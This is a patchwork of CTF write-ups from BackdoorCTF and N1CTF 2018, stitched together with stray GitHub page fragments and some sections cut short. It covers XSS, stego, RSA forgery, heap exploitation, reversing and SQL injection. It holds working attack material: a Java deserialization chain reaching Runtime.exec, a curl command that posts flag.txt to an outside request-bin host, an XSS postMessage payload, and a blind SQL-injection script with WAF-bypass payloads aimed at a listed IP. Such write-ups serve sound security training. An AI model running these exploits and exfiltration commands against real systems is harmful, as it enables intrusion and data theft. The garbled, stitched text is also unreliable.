```<script> var call_window; call_window = window.open("http://51.15.73.163:13336/call.php"); console.log(call_window); setTimeout(function(){ call_window.postMessage({ type: "audio", details: { sender_username: "testuser2", sender_team_name: "test", receiver_username:"aaaaaaa", receiver_team_name: 'aa' } }, "*"); }, 1000);
</script>```
#### Payload Stage 2
The base64 decoded payload is as follows:
```<script>var call_window; call_window = window.open("http://localhost/call.php"); console.log(call_window); setTimeout(function(){ call_window.postMessage({ type: "audio", details: { sender_username: "testuser2", sender_team_name: "test", receiver_username:"aaaaaaa", receiver_team_name: 'aa' } }, "*"); }, 1000);</script>``` |
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<title>ctf-solutions/backdoor-ctf-2018/shelter at master · 0xacb/ctf-solutions · GitHub</title>
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-solutions</span></span></span><span>/</span><span><span>backdoor-ctf-2018</span></span><span>/</span>shelter<span>/</span> </div> </div>
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# Random Noise (staganography)
In this challenge, we're given a file that is in fact 2 pngs:
```┌[michal@Bobik] [/dev/ttys004] └[~/Desktop]> binwalk final.png
DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 PNG image, 799 x 397, 8-bit colormap, non-interlaced821 0x335 Zlib compressed data, default compression3360 0xD20 PNG image, 799 x 397, 8-bit/color RGBA, non-interlaced3401 0xD49 Zlib compressed data, default compression```
They both contain clues essential to the solution of the challange:
The first image contains some data on the lowest bits of each color of the upper row:
Which we can extract using a simple python script:
``` pythondef chunks(l, n): """Yield successive n-sized chunks from l.""" for i in range(0, len(l), n): yield l[i:i + n]
with open("lsb.pnm") as f: dots = f.read().split("\n")
pixels = chunks(dots, 3)data = ""
for pix in list(pixels)[:-1]: pix = map(int, pix) r, g, b = pix data += str(r&1)
data = map(lambda x:chr(int(x,2)), chunks(data, 8))print(''.join(data))```
```┌[michal@Bobik] [/dev/ttys004] └[~/Desktop]> python parse_lsb.pykey for vigenere cipher: THISKEYCANTBEGUESSED (not the flag) ```
Let's move on to the second picture:
We actually spent quite a while on this stage but finally came up with a good guess: let's sort the pixels by colors, if they in fact random the distribution should be quite equal, right?
Some weird anomalies, let's filter theese out in the original image:
Bingo!, it's [a morse](https://i.pinimg.com/originals/f8/9d/35/f89d3592cc9c024df2e003f0468e5c85.jpg)
`WSIYSWFGYLHVNAMXKSZHWUMG`
If we now decipher it using the vigenre password we get: `HEYYOUJUSTSAVEDNEO` |
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# Awesome Mix 1 (Crypto)
In the task we get the source code:
```python#!/usr/bin/python -u
from Crypto.PublicKey import RSAfrom Crypto.Signature import PKCS1_v1_5 as RSAsignfrom Crypto.Hash import SHAfrom Util import PKCS1_pad as padfrom SECRET import flagimport sys
def verify(s,m,n,e): if pow(s,e,n) == pad(m): return True else: return False
key = RSA.generate(1024)
message = "super important information for admin only"
h = SHA.new(message)
signer = RSAsign.new(key)
signature = signer.sign(h)s = int(signature.encode("hex"),16)
print "Welcome to admin's music portal.\nTo verify that you are the owner of this service\nsend the public key which will verify the following signature :\n"
print "Message ->", messageprint print "Signature ->", signature.encode("hex")print
sys.stdout.flush()
n = long(raw_input("Enter n:"))e = long(raw_input("Enter e:"))sys.stdout.flush()input_key = RSA.construct((n,e))
if verify(s,h.hexdigest(),n,e): print flagelse: print "Music is only for admin's eyes."
sys.stdout.flush()```
So the server generates a random RSA key, signs a certain message with it and asks us for a public key matching the signature.The mistake here is that there are no restrictions on the values for the public key.
What we get is:
`signature == message^d mod n`
And we want now values `(e,n)` for which holds:
`signature^e mod n == message`
If we take `e=1` then this equation becomes simply:
`signature mod n == message`
We can select any `n` we want, so we can choose the trivial case where `signature` is larger from `n` exactly by `message`, so that modulo operation will cut `signature` by `n`.
If now:
`n = signature-message`
then
`signature mod (signature-message) = message`
We used for that code:
```pythonimport refrom Crypto.Hash import SHAfrom crypto_commons.netcat.netcat_commons import nc, send, interactive
def PKCS1_pad(data): asn1 = "003021300906052b0e03021a05000414" ans = asn1 + data n = len(ans) padding = '0001' + 'f' * (1024 / 4 - n - 4) return int((padding + ans), 16)
def main(): port = 8082 host = "51.15.73.163" s = nc(host, port) data = s.recv(99999) print(data) sig = re.findall("Signature ->(.*)", data)[0] signature = int(sig.strip(), 16) message = "super important information for admin only" h = SHA.new(message) m = PKCS1_pad(h.hexdigest()) e = 1 n = signature ** e - m print('n', n) print('e', e) send(s, str(n)) send(s, str(e)) interactive(s)
main()```
And got `CTF{cryp70_5ur3_15_w13rd}` |
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<title>write-ups/BackdoorCTF 2018/pwn/bookkeeping at master · VoidHack/write-ups · GitHub</title>
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>write-ups</span></span></span><span>/</span><span><span>BackdoorCTF 2018</span></span><span>/</span><span><span>pwn</span></span><span>/</span>bookkeeping<span>/</span> </div> </div>
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<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>write-ups</span></span></span><span>/</span><span><span>BackdoorCTF 2018</span></span><span>/</span><span><span>pwn</span></span><span>/</span>bookkeeping<span>/</span></div>
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In equation Sing ^ E % N = Pad we need to find E+N.Note that E does not check and just use E=1.Then N = Sign - Pad
Code:```#!/usr/bin/python
from Crypto.PublicKey import RSAfrom Crypto.Signature import PKCS1_v1_5 as RSAsignfrom Crypto.Hash import SHA
#from Util import PKCS1_pad as paddef PKCS1_pad(data): asn1 = "003021300906052b0e03021a05000414" ans = asn1+data n=len(ans) padding = '0001'+'f'*(1024/4-n-4) return int((padding + ans),16)
#from SECRET import flagflag = "Local_Flag!"
import sys
def verify(s,m,n,e): if pow(s,e,n) == pad(m): return True else: return False
key = RSA.generate(1024)
message = "super important information for admin only"
h = SHA.new(message)
signer = RSAsign.new(key)
signature = signer.sign(h)s = int(signature.encode("hex"),16)
print "Welcome to admin's music portal.\nTo verify that you are the owner of this service\nsend the public key which will verify the following signature :\n"
print "Message ->", messageprint print "Signature ->", signature.encode("hex")print
sys.stdout.flush()
#n = long(raw_input("Enter n:"))#e = long(raw_input("Enter e:"))sm = long(raw_input("Enter s:"),16)pm = pad(h.hexdigest())e = 1Ln = sm-pmprint "\nN: ", nprint "\nE: ", e
sys.stdout.flush()input_key = RSA.construct((n,e))
if verify(s,h.hexdigest(),n,e): print flagelse: print "Music is only for admin's eyes."
sys.stdout.flush()
```
Flag:```$ echo -n CTF{<REMOTED>} | openssl sha256(stdin)= 93b7d01e2d60c22e5cc3033a86bc9ed577208139581bbae48397b2d656f285d6``` |
# Array List (Pwn, 350p)
The task is similar to https://github.com/p4-team/ctf/tree/master/2018-01-20-insomnihack/pwn_magic_hat and a bit to https://github.com/p4-team/ctf/tree/master/2016-08-21-bioterra-ctf/akashic_records
In short: we have a Java RMI server running, and we need to craft a deserialization chain to exploit this server.We get a [client](client.jar) and [library](notsoserial-modified.jar) which is added on the server.We can add those jars to IntelliJ project and it will decompile the code on the fly for us.
Client is trivial, it connects to the server and uses the Remote API.The API is:
```javapublic interface Service extends Remote { Store getStore() throws RemoteException;
Store createArrayList(Store var1) throws RemoteException;
Store createFastArrayList(Store var1) throws RemoteException;
String getString(Store var1, int var2) throws RemoteException;
Store addRandom(Store var1, int var2) throws RemoteException;}```
And Store class is:
```javaimport java.io.Serializable;import java.util.ArrayList;import java.util.Collection;import org.apache.commons.collections.FastArrayList;
public class Store implements Serializable { private static final long serialVersionUID = -878586296715953149L; public Collection[] collections = new Collection[10]; public int counter = 0; private static final int MAX_COLLECTIONS = 10;
public Store() { }
public int createArrayList() { if (this.counter == 10) { return 0; } else { ArrayList<Integer> list = new ArrayList(); this.collections[this.counter++] = list; return 1; } }
public int createFastArrayList() { if (this.counter == 10) { return 0; } else { FastArrayList list = new FastArrayList(); this.collections[this.counter++] = list; return 1; } }
public int insert(int index, Object obj) { if (index >= 0 && index < 10) { if (this.collections[index] == null) { return 0; } else { this.collections[index].add(obj); return 1; } } else { return 0; } }}```
Store class is the one we need to use for the exploit, since it's the object we can send to the server and server will deserialize it.We can see that it contains an array of Collections, and we will use a very particular collection to exploit the server.
There is one small obstacle:
```java this.blacklist.add(this.internalName("java.lang.reflect.InvocationHandler")); this.blacklist.add(this.internalName("org.apache.commons.beanutils.BeanComparator")); this.blacklist.add(this.internalName("org.apache.commons.collections.map.LazyMap")); this.blacklist.add(this.internalName("org.apache.commons.collections4.comparators.TransformingComparator")); this.blacklist.add(this.internalName("org.apache.commons.collections4.functors.InstantiateTransformer")); this.blacklist.add(this.internalName("org.apache.commons.collections.keyvalue.TiedMapEntry")); this.blacklist.add(this.internalName("org.apache.commons.fileupload.disk.DiskFileItem")); this.blacklist.add(this.internalName("org.apache.commons.io.output.DeferredFileOutputStream")); this.blacklist.add(this.internalName("org.hibernate.tuple.component.AbstractComponentTuplizer")); this.blacklist.add(this.internalName("com.sun.rowset.JdbcRowSetImpl")); this.blacklist.add(this.internalName("org.jboss.interceptor.proxy.InterceptorMethodHandler")); this.blacklist.add(this.internalName("sun.rmi.transport.tcp.TCPEndpoint")); this.blacklist.add(this.internalName("sun.rmi.server.ActivationGroupImpl")); this.blacklist.add(this.internalName("javax.xml.transform.Templates")); this.blacklist.add(this.internalName("java.lang.reflect.Modifier")); this.blacklist.add(this.internalName("java.net.URLConnection")); this.blacklist.add(this.internalName("org.apache.commons.collections.functors.InstantiateTransformer")); this.blacklist.add(this.internalName("org.apache.commons.collections4.functors.InstantiateTransformer")); this.blacklist.add(this.internalName("org.codehaus.groovy.runtime.ConvertedClosure")); this.blacklist.add(this.internalName("org.codehaus.groovy.runtime.MethodClosure")); this.blacklist.add(this.internalName("org.springframework.beans.factory.ObjectFactory")); this.blacklist.add(this.internalName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"));```
So we can't use some of the classes.Server can create for us `org.apache.commons.collections.FastArrayList` which means there has to be commons-collections on the server.
Specifically we will use `TransformedSet` decorator.To use it we need a `Set` and `Transformer`.The idea is that every time we add something to this `TransformedSet`, the actual value stored will be a result of calling Transformer on the passed value.A useful Transformer is `ChainedTransformer`, which calls multiple Transformers in a chain.We will also need `ConstantTransformer` which simply returns a constant value every time, and finally `InvokerTransformer` which can call functions.
What we want to call in the end is `Runtime.getRuntime().exec("command")`.
ConstantTransformer has to actually return and object so we will pass there `Runtime.class` metaclass object so we need `new ConstantTransformer(Runtime.class)`
From there we can use reflection to get handle of a method by calling `.getMethod("getRuntime")` so the code will be `new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]})`
Now we actually want to invoke this `getRuntime` to get handle of the `Runtime` object, so we need `new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]})`
Finally we want to run `exec("command")` function of the Runtime class, so we do `new InvokerTransformer("exec",new Class[]{String.class}, new String[]{command})`
Keep in mind we need to return some value from this TransformerChain, so it can get stored in the Set in the end, so we simply pass another ConstantTransformer.As a result we have:
```javapublic static Store preparePayload(final String command) { final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{ "getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{command}), new ConstantTransformer(1)}; final Transformer transformerChain = new ChainedTransformer(transformers); Set<Integer> backingSet = new HashSet<>(); Set transformedSet = TransformedSet.decorate(backingSet, transformerChain); Store store = new Store(); store.collections[0] = transformedSet; return store;}```
It's very useful that the server has `addRandom` method, which adds something to the collection we provide.Otherwise we would need a bit more magic, to store values on our side, without invoking the transformer chain.This would require adding a "fake" transformer, adding values and then substituting the transformer for the chain, using reflection (so it doesn't trigger).Fortunately we can simply send empty Set, and ask server to add values, which will trigger the chain.
Now we just need to connect to the remote endpoint and start sending commands:
```javapublic static void main(final String[] args) throws Exception { System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true"); Registry registry = LocateRegistry.getRegistry(InetAddress.getByName("arraylist.dhavalkapil.com").getHostName(), 9999); Service service = (Service) registry.lookup("backdoor"); Scanner sc = new Scanner(System.in); while (true) { System.out.print("> "); execCommand(service, sc.nextLine()); }}
private static void execCommand(Service service, String command) { try { service.addRandom(preparePayload(command), 0); } catch (Exception e) { e.printStackTrace(); }}```
We know the flag is in `flag.txt` file so we can just grab it with simple `curl -d @flag.txt -X POST https://requestb.in/XXXXX` and we get `CTF{j4v4_64d637_ch41n1n6_15_fun}`
|
# N1CTF 2018
**It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180310-n1ctf/) of this writeup.**
- [N1CTF 2018](#n1ctf-2018) - [Pwn](#pwn) - [null (kevin47)](#null-kevin47) - [memsafety (kevin47)](#memsafety-kevin47) - [beeper(4w4rD)](#beeper4w4rd) - [vote (how2hack)](#vote-how2hack) - [Rev](#rev) - [patience (sces60107)](#patience-sces60107) - [baby neural network (sasdf)](#baby-neural-network-sasdf) - [Entry](#entry) - [Dig into](#dig-into) - [Flag???](#flag) - [Web](#web) - [77777 (sasdf, bookgin)](#77777-sasdf-bookgin) - [77777 2 (bookgin) unsolved](#77777-2-bookgin-unsolved) - [babysqli (bookgin) unsolved](#babysqli-bookgin-unsolved) - [Crypto](#crypto) - [baby_N1ES (shw)](#baby_n1es-shw) - [rsa_padding (shw)](#rsa_padding-shw) - [PPC](#ppc) - [losetome (how2hack)](#losetome-how2hack) - [Misc](#misc)
## Pwn
### null (kevin47)> ELF 64-bit, stripped, Canary and NX enabled, Full RELRO, No PIE> 結果這題根本超簡單QQ* arbitrary malloc with no free* overflow in read* using thread* function pointer in 0x602038
After the first malloc, the mapped address space will look like:``` Start Addr End Addr Size Offset ... 0x20c6000 0x20e7000 0x21000 0x0 [heap]0x7f7b60000000 0x7f7b60021000 0x21000 0x0 <- thread arena0x7f7b60021000 0x7f7b64000000 0x3fdf000 0x0 <- space for malloc0x7f7b6714c000 0x7f7b6714d000 0x1000 0x0 0x7f7b6714d000 0x7f7b6794d000 0x800000 0x0 0x7f7b6794d000 0x7f7b67b0d000 0x1c0000 0x0 /lib/x86_64-linux-gnu/libc-2.23.so...
```Our goal is to overwrite thread arena with overflow, so we need a chunk of memory before the thread arena. Achive this by spamming malloc. After filling the space, new mapped address space will look like:``` Start Addr End Addr Size Offset ... 0x20c6000 0x20e7000 0x21000 0x0 [heap]0x7f7b58000000 0x7f7b60000000 0x8000000 0x0 <- new mapped space0x7f7b60000000 0x7f7b63ffd000 0x3ffd000 0x0 <- thread arena0x7f7b63ffd000 0x7f7b64000000 0x3000 0x0 <- filled space0x7f7b6714c000 0x7f7b6714d000 0x1000 0x0 0x7f7b6714d000 0x7f7b6794d000 0x800000 0x0 0x7f7b6794d000 0x7f7b67b0d000 0x1c0000 0x0 /lib/x86_64-linux-gnu/libc-2.23.so...```Bang! the new space will be before the thread arena! Just fill it again so that we can control the end near 0x7f7b60000000.
Thread arenas' structure are similar (may be equal) to the main arena, they both has fastbins.
We overwrite the fastbin of size 0x70 to 0x60201d, just before the function pointer. Overwrite the pointer to system@PLT and get shell :)
### memsafety (kevin47)> ELF 64-bit, stripped, no canary found, NX and PIE enabled, partial RELRO> Rust 題，source code 1000 行，我不一定看得完 (￣▽￣)* Rust checks array boundary in runtime, so it needs no canary
### beeper(4w4rD)> ELF 64-bit, stripped, canary NX PIE enabled, partial RELRO> brain fuck* predictable mmap address: The process would mmap an readable, writeable, executeable space. The address is create by rand() with srand(time(0)), so it is predictable.We can write shellcode on it, and there is a function pointer that already point to it.* brain-fuck like interpreter: There is an interpreter that can interpret a language similar as brain fuck, and it always take the command on the .data section* password: Password is constant and can be known by reversing, but before checking the input password the interpret would execute and change the input passwrd.* BOF: The input password can be overflowed, and we can change the command that the interpreter execute. We can overwrite command with NULL, so the interpret will not do anything.* write shellcode: Login again, and we can use brain-fuck like language to write shell code on mmap address.Then we can trigger fuction pointer to get shell.
### vote (how2hack)> ELF 64-bit, stripped, Canary and NX enabled, partial RELRO* Data structure: * Number of votes (8 bytes, uncontrollable) * Last voting time (8 bytes, uncontrollable) * Name (malloc size, controllable)* Binary with 5 functions: * Create: malloc size 1~4096, then input data * Show: show the data infos (votes, time, name) * Vote: Not important * Result: Not important * Cancel: free a chunk* Vulnerabilities: * Use-after-free: * Freed chunk doesn't set to NULL * Use show() to leak FD and BK (libc address) * Double Free: * Fastbin corruption attack* Exploit: * Forging fake fastbin (Q is UAF) :      * Overwrite pthread_create to one_gadget and get shell!* Flag: * `N1CTF{Pr1nTf_2333333333!}`
## Rev
### patience (sces60107)
In this challenge, we will be given one binary and one cmm file.
The binary will print flag very slowly. So we must figure out the algorithm in this binary.
But IDA pro is not working on this binary.
After some googling I found that cmm file is related to [haskell compiler]()
Fortunately, the cmm file is somehow human-readable.
With some guessing I summerize some pseudo classes.
```pythondef s0(): return [97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,48,49,50,51,52,53,54,55,56,57,33,35,36,37,38,39,34,40,41,42,43,44,45,46,47,58,59,60,61,62,63,64,91,92,93,94,95,96,123,124,125,126]
def s1(): return [49,118,73,123,101,91,56,84,100,93,45,110,81,46,55,79,34,98,108,40,106,113,64,60,48,86,121,38,90,51,126,92,112,115,44,97,68,94,59,66,78,57,74,85,111,104,124,67,69,50,95,54,33,71,39,114,72,117,102,62,36,83,37,77,120,103,122,75,89,52,96,99,43,87,88,65,53,70,41,109,82,125,35,80,116,76,63,42,61,105,47,58,119,107]
def s2(): return [66,112,125,105,123,88,85,37,102,36,68,82,92,48,60,76,120,61,111,34,83,108,96,98,122,41,45,101,54,50,124,38,74,113,70,84,33,40,67,53,121,104,59,64,117,42,46,87,97,90,35,81,118,44,63,99,114,56,119,69,109,52,95,116,49,57,80,72,58,106,93,62,91,78,86,77,110,55,89,71,107,75,39,94,47,126,79,73,100,115,65,43,51,103]
def s3(): return [95,114,43,35,121,104,91,89,41,83,56,97,88,74,119,86,38,106,118,34,111,61,73,40,54,62,112,103,44,102,45,77,93,113,98,78,52,39,69,68,75,70,92,116,60,51,71,37,124,36,99,115,80,81,109,125,126,48,64,82,59,117,85,50,122,57,105,87,66,46,47,72,67,107,33,123,58,79,100,94,90,84,55,96,65,110,108,49,101,53,76,42,120,63]
```
And I also find out that there is some global constant which seems related to flag.
```[section ""data" . dt_r33R_closure" { dt_r33R_closure: const GHC.Types.I#_con_info; const 0; }]
==================== Output Cmm ====================[section ""data" . dt1_r36n_closure" { dt1_r36n_closure: const GHC.Types.I#_con_info; const 39; }]
==================== Output Cmm ====================[section ""data" . flags1_r36o_closure" { flags1_r36o_closure: const Main.Index_con_info; const dt_r33R_closure+1; const dt1_r36n_closure+1; const 3; }]
==================== Output Cmm ====================[section ""data" . dt2_r36p_closure" { dt2_r36p_closure: const GHC.Types.I#_con_info; const 5; }]
==================== Output Cmm ====================[section ""data" . dt3_r36q_closure" { dt3_r36q_closure: const GHC.Types.I#_con_info; const 282; }]
==================== Output Cmm ====================[section ""data" . flags2_r36r_closure" { flags2_r36r_closure: const Main.Index_con_info; const dt2_r36p_closure+1; const dt3_r36q_closure+1; const 3; }]
```
Each byte of flag is defined by two number.
We know the first byte is 'N' and the s0_closure()[39] is also 'N'. I thought it's not a coincidence.
So I suppose that the second number is index value.
Now what about the first number?
After some testing and brainstorming.
I figure out the complete algorithm
```pythondef foo(n): if n==0: return s0() else: return s1()+foo(n-1)+s2()+foo(n-1)+s3() flag = [[0,39],[5,282],....]
for i in flag: print foo(i[0])[i[1]]
```Finally,The flag is `N1CTF{did_cmm_helped?1109ef6af4b2c6fc274ddc16ff8365d1}`
[haskell]: https://ghc.haskell.org/trac/ghc/wiki/Commentary/Rts/Cmm
### baby neural network (sasdf)
Just like common c++ reverse challenge with complex libraries, decompiled code is full of garbage. There are about 1300 lines in `main`.#### EntryFirst thing to do is to find our objective.```C++do{ v106 = *(v7 + v104); *&v106.m128_u64[0] = *&v106.m128_u64[0] - *(v7 + 5796584); v106.m128_f32[0] = *&v106.m128_u64[0]; if ( COERCE_FLOAT(_mm_and_ps(v106, xmmword_247E300)) > 1.0e-10 ) { std::operator<<<std::char_traits<char>>(&std::cout, "Incorrect flag :("); goto LABEL_197; } v7 = v7 + 8;}while ( v7 != 328 );std::operator<<<std::char_traits<char>>( &std::cout, "Congratulations! Your flag is absolutely correct.");```Looks like we need to make something equals to zero. However, IDA decompilied it incorrectly.```asmcall tensorflow::Tensor::shaped<double,1ul>(tensorflow::gtl::ArraySlice<long long>)movsd xmm0, qword ptr [rbx+rax]subsd xmm0, predictions[rbx]cvtsd2ss xmm0, xmm0andps xmm0, cs:xmmword_247E300cvtss2sd xmm0, xmm0ucomisd xmm0, cs:qword_247CE48jbe short loc_448A26mov esi, offset aIncorrectFlag ; "Incorrect flag :("```It subtracts a Tensor with `predictions`, and check if it equals to zero. Our objective is to make this Tensor equals to `predictions`.
#### Dig intoTo figure out what the program is, just ignore everything drives you crazy.
At the top of main, there's some check telling us the input has length of 41.```C++if ( argc != 2 ){ std::operator<<<std::char_traits<char>>(&std::cout, "Please supply your input"); goto LABEL_6;}input = argv[1];inputLen = -1LL;/* do ... while */if ( inputLen == -43 ) // in fact, it's checking length == 41```
After remove all garbages, the code looks more friendly:```C++tensorflow::TensorShapeBase::TensorShapeBase(&_placeholder, &shape_1_41, 2LL);tensorflow::ops::Placeholder::Placeholder(&placeholder, &scope, 2LL, v10);tensorflow::TensorShapeBase::TensorShapeBase(v10, &_733, 2LL); // _733 = {1, 41}tensorFromArray(&bias1, 2LL, &bias_layer1, 328LL, v10); // 1 * 41 * 8 = 328/* ... from 1 to 5 ... */tensorflow::TensorShapeBase::TensorShapeBase(v10, &_738, 2LL); // _738 = {41, 41}tensorFromArray(&w1, 2LL, &weights_layer1, 13448LL, v10); // 41 * 41 * 8 = 13448/* ... from 1 to 5 ... */tensorflow::TensorShapeBase::TensorShapeBase(v10, &_743, 2LL); // _743 = {1, 41}tensorFromArray(&pred, 2LL, &predictions, 328LL, v10);
tensorflow::Tensor::Tensor(&_bias1, &bias1);tensorflow::Tensor::Tensor(&_w1, &w1;;tensorflow::ops::MatMul::MatMul(&v180, &scope, &_placeholder, v10);tensorflow::ops::Add::Add(&v184, &scope, &v249, v3);tensorflow::ops::Sigmoid::Sigmoid(&v188, &scope, &v239);
tensorflow::Tensor::Tensor(v10, &bias2);tensorflow::Tensor::Tensor(&_placeholder, &w2;;forwardPass(&v164, &scope, &v199, &_placeholder, v10);/* ... from 2 to 5 ... */
tensorflow::ClientSession::ClientSession(&sess, &scope);tensorflow::ClientSession::Run(&v188, &sess, &v192, &v142, &v139);```It looks like a 5-layer DNN with sigmoid as activation function. For people who isn't familiar with Deeeeeep learning, Here's math notation:$$v_0 := input\\v_5 := output\\v_i = sigmoid\left(v_{i-1} W_i + b_i\right)\\sigmoid(x) = \frac{1}{1+e^{-x}}$$and the inverse is:$$sigmoid^{-1}(x) = - log\left(\frac{1}{x} - 1\right)\\v_{i-1} = \left(sigmoid^{-1}(v_i) - b_i\right) W_i^{-1}$$we will get the flag after calculating the inverse for all layers:```[0.0128232 0.02040983 0.01491556 0.01190851 0.01428702 ... ]```... not the flag :(
#### Flag???Tracing along the path about how input string goes into neural network:```C++_input = _argv[1];for ( i = 0LL; ; i = v69++ ){ *&v198[8 * v69 - 8] = 1.0 / _input[i]; if ( v69 == 41 ) break;}tensorflow::TensorShapeBase::TensorShapeBase(v10, &_744, 2LL); // _744 = {1, 41}tensorFromArray(&v234, 2LL, v198, 328LL, v10); // 328 = 1 * 41 * 8```flag is multicative inverse of previous result :)`N1CTF{N3ural_Network_1s_Really_Fantastic}`
## Web
### 77777 (sasdf, bookgin)```phpsprintf("UPDATE users SET points=%d%s", $_POST['flag'], waf($_POST['hi']);```- `substring` is WAFed, but `substr` is not.- Get length: hi=`9453 where LENGTH(password)>14 and LENGTH(password)<16` `=` is filtered by WAF.- Get password: hi=`9453 where md5("a") like md5(substr(password, 1, 1))`
```python#!/usr/bin/env python3import requests, string, re
def flush(): data = dict(flag='',hi='1234') requests.post('http://47.75.14.48', data=data)
def guess(s): data = dict( flag='', hi=f'9453 where md5("{s}") like md5(substr(password, 1, {len(s)}))', ) response = requests.post('http://47.75.14.48', data=data).text result = re.search('My Points.*', response) return (result is not None and '9453' in result.group(0))
def guessNext(prefix): for i in string.printable: flush() print(prefix, i) if guess(prefix + i): return prefix + i raise RuntimeError(pwd, 'next char not found')
pwd=''while len(pwd) != 15: pwd = guessNext(pwd)```
[Someone](https://github.com/rkmylo/ctf-write-ups/blob/master/2018-n1ctf/web/77777-104/solve.py) provides this shorter payload `ord(substr(password,INDEX,1))
### 77777 2 (bookgin) unsolved- The column name `pw` is WAFed, but in fact it just **did not allow the `pw` keyword to be prefixed or followed by any characters apart from whitespaces**. (why....?)- `where` is WAFed.- Not WAFed: `substr select from if & *`- Payload: `convert(hex(substr( pw ,1 ,1)),signed)`
Reference: - https://github.com/rkmylo/ctf-write-ups/tree/master/2018-n1ctf/web/77777-2-208- https://delcoding.github.io/2018/03/n1ctf-writeup/
### babysqli (bookgin) unsolved
sql injection 的點是使用者大頭照，有 `1.png` & `2.png`，但 `information` 被 WAF，所以不好取得 database_name
Payload 1: ```sql'or((select(substr((select(user())),<GUESS_INDEX>,1))='<GUESS_CHAR>')=1)#````
Payload 2:```sql'=if(ascii(substring((select(group_concat(database_name))from(mysql.innodb_table_stats)),%d,1))>%d,1,0)='```- 然後拿到 database `sys，mysql，n1ctf_2018_venenof7`- `n1ctf_2018_venenof7` 有`vimg,vusers` 兩張 tables- `vusers` 有個 column 叫 `password` ，跑出来`ac895b772a4ec1eff81e07aa2907afe3`
拿去主辦官方的網頁做 md5 decrypt 噴 flag
Reference: - http://www.bendawang.site/2018/03/13/N1CTF-2018-Web-writeup/- https://github.com/Nu1LCTF/n1ctf-2018/blob/master/writeups/web/babysqli.md- http://www.zhutougg.com/2017/04/25/mysqlshu-ju-ku-de-innodbyin-qing-de-zhu-ru/
## Crypto### baby_N1ES (shw)We are given the source code of encryption and a ciphertext.```pythondef encrypt(self, plaintext): if (len(plaintext) % 16 != 0 or isinstance(plaintext, bytes) == False): raise Exception("plaintext must be a multiple of 16 in length") res = '' for i in range(len(plaintext) / 16): block = plaintext[i * 16:(i + 1) * 16] L = block[:8] R = block[8:] for round_cnt in range(32): L, R = R, (round_add(L, self.Kn[round_cnt])) L, R = R, L res += L + R return res```And the function `round_add()`:```pythondef round_add(a, b): f = lambda x, y: x + y - 2 * (x & y) res = '' for i in range(len(a)): res += chr(f(ord(a[i]), ord(b[i]))) return res```Note that if `m = round_add(a, b)`, then `a = round_add(m, b)`, and also it is a Feistel cipher. Thus, we can decrypt the ciphertext by simply reversing the key schedule.```pythonfrom N1ES import N1ESimport base64
key = "wxy191iss00000000000cute"n1es = N1ES(key)c = 'HRlgC2ReHW1/WRk2DikfNBo1dl1XZBJrRR9qECMNOjNHDktBJSxcI1hZIz07YjVx'
n1es.Kn = n1es.Kn[::-1]print n1es.encrypt(base64.b64decode(c))```FLAG: `N1CTF{F3istel_n3tw0rk_c4n_b3_ea5i1y_s0lv3d_/--/}`### rsa_padding (shw)We are given the source code of encryption, where `m` contains the flag, and `e = 3`.```pythonmm = bytes_to_long(m)assert pow(mm, e) != pow(mm, e, n)sys.stdout.write("Please give me a padding: ")padding = input().strip()padding = int(sha256(padding.encode()).hexdigest(),16)c = pow(mm+padding, e, n)print("Your Ciphertext is: %s"%c)```Some [write-ups](https://github.com/p4-team/ctf/tree/master/2018-03-10-n1ctf/crypto_rsapadding) point out that this encryption is vulnerable to [*Franklin-Reiter related-message attack*](https://en.wikipedia.org/wiki/Coppersmith%27s_attack#Franklin-Reiter_related-message_attack). Simply speaking, the congruence equation $c \equiv (m + p)^3\ \mathrm{mod}\ n$ can be reduced to a linear congruence equation of $m$ and be solved easily, if we have at least three pairs of $(p, c)$.Then, we get m = `Welcom to Nu1L CTF, Congratulations, You get flag, and flag is N1CTF{f7efbf4e5f5ef78ca1fb9c8f5eb02635}`.
## PPC
### losetome (how2hack)I dunno... just try to lose Reversi against AI =w=FLAG: `N1CTF{Oh!you_1ose_t0_AI_hhhhhh}`
## Misc
|
This challenge was completed by triggering XSS via the window.postMessage API. The payload can be seen below, which reads the content of the page containing the flag and sends it to my server.
```<html><body><script> var call_window; call_window = window.open("http://localhost/call.php"); console.log(call_window); setTimeout(function(){ call_window.postMessage({ type: "audio", details: { sender_username: "testuser2", sender_team_name: "test", receiver_username:"aa", receiver_team_name: 'aa' } }, "*"); }, 1000);
</script></body></html>``` |
**Description**
`Now that you have the user password from VM-SERVICES1 go and hunt the VM.`
**Files**[vm.ova](https://drive.google.com/file/d/1269Xj-ZtRhr2qhV713V-XLYceD7OUYhA/view)
-----
**Solution**Ok, in `VM-SERVICES1` we have already found the `ctf` user password - `infosec`.Let's open the VM.> Sincerely, already on solving `VM-SERVICES1` we've found all the clues and started to dig into our findings in the first task, but only after submitting the flag, we've found, that it was a 200 points flag for `VM-SERVICES2` =D
Now we can study all the `.bash_history` in users directories (`/root` & `/home/ctf`) and we'll find something very interesting:
-----
-----
Ok, there is a nasty keylogger service in the system.
-----
-----
Digging more, we'll find out:
/etc/systemd/system/keylogger.service - keylogger service location;
/usr/local/bin/[keylogger](https://github.com/YuryDo/writeups/blob/master/BackdoorCTF2018/Forensics/VM-SERVICES2/VM-files/keylogger) - keylogger binary location;
/var/spool/cron/[.kde](https://github.com/YuryDo/writeups/blob/master/BackdoorCTF2018/Forensics/VM-SERVICES2/VM-files/kde) - keyboard input log file;
